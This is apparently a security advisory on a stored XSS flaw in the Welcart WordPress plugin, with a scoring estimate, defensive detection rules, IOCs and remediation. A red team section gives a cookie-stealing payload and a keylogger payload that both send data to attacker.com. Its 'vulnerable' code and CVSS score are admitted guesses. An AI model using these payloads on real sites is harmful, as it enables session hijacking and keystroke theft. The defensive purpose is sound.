CVE-2024-45366

Executive Summary

CVE-2024-45366 is a stored cross-site scripting (XSS) vulnerability identified in the Welcart e-Commerce plugin for WordPress, affecting versions prior to 2.11.2. This vulnerability allows an attacker to inject arbitrary scripts into the web application, which are then executed in the browsers of users who view the affected content. The flaw resides in insufficient input sanitization within the plugin's order management or product display functionality. Successful exploitation could lead to session hijacking, credential theft, or defacement of the WordPress site. As a WordPress plugin vulnerability, it is critical for site administrators to update immediately to version 2.11.2 to mitigate the risk.

Supply Chain & Package Security

This vulnerability affects the Welcart e-Commerce plugin distributed through the WordPress plugin repository. The supply chain risk is moderate, as the plugin is a third-party component integrated into WordPress sites. Administrators should verify the integrity of the plugin update by checking the official WordPress plugin directory or the vendor's website. No known malicious packages have been reported in the supply chain for this specific CVE.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability type (stored XSS) and the context (WordPress plugin), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – attacker may need subscriber-level access or ability to submit data
• User Interaction (UI): Required (R) – victim must view the malicious content
• Scope (S): Changed (C) – XSS can impact resources beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Base Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires user interaction and low privileges, but the impact on confidentiality and integrity is limited.

Deep Dive & Mechanics

The vulnerability is a stored cross-site scripting (XSS) flaw in the Welcart e-Commerce plugin for WordPress. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in web pages. An attacker can inject malicious JavaScript code into fields such as product names, descriptions, or order notes. When an administrator or other user views the affected page (e.g., order details or product listings), the injected script executes in their browser context.

The root cause is the lack of output encoding or input validation for certain parameters. The plugin likely uses echo or print statements without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post(). This allows HTML and JavaScript to be rendered directly.

Attack Flow:

1. Attacker identifies a vulnerable input field (e.g., order note or product custom field).
2. Attacker submits a payload such as <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database without sanitization.
4. When an administrator views the order or product page, the script executes.
5. The attacker can steal cookies, perform actions on behalf of the admin, or redirect users.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 2.11.2):

// Example of vulnerable output in a template file
echo $order_note; // No escaping

Patched Code (version 2.11.2):

// Patched version using WordPress escaping
echo esc_html( $order_note ); // Escapes HTML entities

The patch applies esc_html() or similar WordPress escaping functions to all user-controllable output, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site running Welcart < 2.11.2.
• Attacker account with at least subscriber-level access (or ability to submit data via forms).

Exploitation Steps:

1. Log in to the WordPress site as a subscriber.
2. Navigate to a page where user input is stored (e.g., order notes or product reviews).
3. Inject the following payload into a text field:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the form.
5. Wait for an administrator to view the affected page (e.g., order details).
6. The admin's browser executes the script, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
};
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual JavaScript in form submissions (e.g., <script> tags).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review server logs for requests containing document.cookie or XMLHttpRequest.

Hunting:

• Search the WordPress database for stored XSS payloads:

  SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
  

• Check for unexpected outbound connections from the WordPress server.

Containment:

• Immediately update Welcart to version 2.11.2.
• If patching is not possible, disable the vulnerable plugin temporarily.
• Remove any malicious content from the database using SQL queries or a security plugin.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains containing cookie data (e.g., GET /steal.php?cookie=...).
  • Suspicious Referer headers from WordPress admin pages to external IPs.

• Host IOCs:

  • Presence of <script> tags in WordPress database tables (wp_posts, wp_postmeta, wp_comments).
  • Unexpected JavaScript files in the wp-content/uploads/ directory.

• File IOCs:

  • Modified plugin files in /wp-content/plugins/usc-e-shop/ (check file integrity).

• Log IOCs:

  • Repeated 404 errors for non-existent paths (possible scanning).
  • Admin login attempts from unusual IPs after XSS execution.

Detection Engineering

YARA Rule

rule CVE_2024_45366_Welcart_XSS {
    meta:
        description = "Detects stored XSS payloads in Welcart e-Commerce plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45366"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/si
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/si
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/si
    condition:
        any of them
}

Sigma Rule

title: Welcart Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Welcart plugin submissions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'usc-e-shop'
            - 'welcart'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in product descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45366 Welcart XSS Payload Outbound"; flow:to_server,established; content:"<script"; http_client_body; nocase; content:"document.cookie"; http_client_body; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Welcart to version 2.11.2 or later from the WordPress plugin repository.
2. Scan the database for existing XSS payloads using a security plugin (e.g., Wordfence) or manual SQL queries.
3. Change all admin passwords and invalidate existing sessions if compromise is suspected.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Regularly audit WordPress plugins for vulnerabilities.
• Use WordPress hardening plugins to add extra input validation.

Workarounds (if patching is delayed):

• Disable the Welcart plugin temporarily.
• Restrict access to admin pages via IP whitelisting.
• Enable HTTP-only cookies to reduce session theft risk.

Report generated by Valters IT DevSecOps Intelligence Unit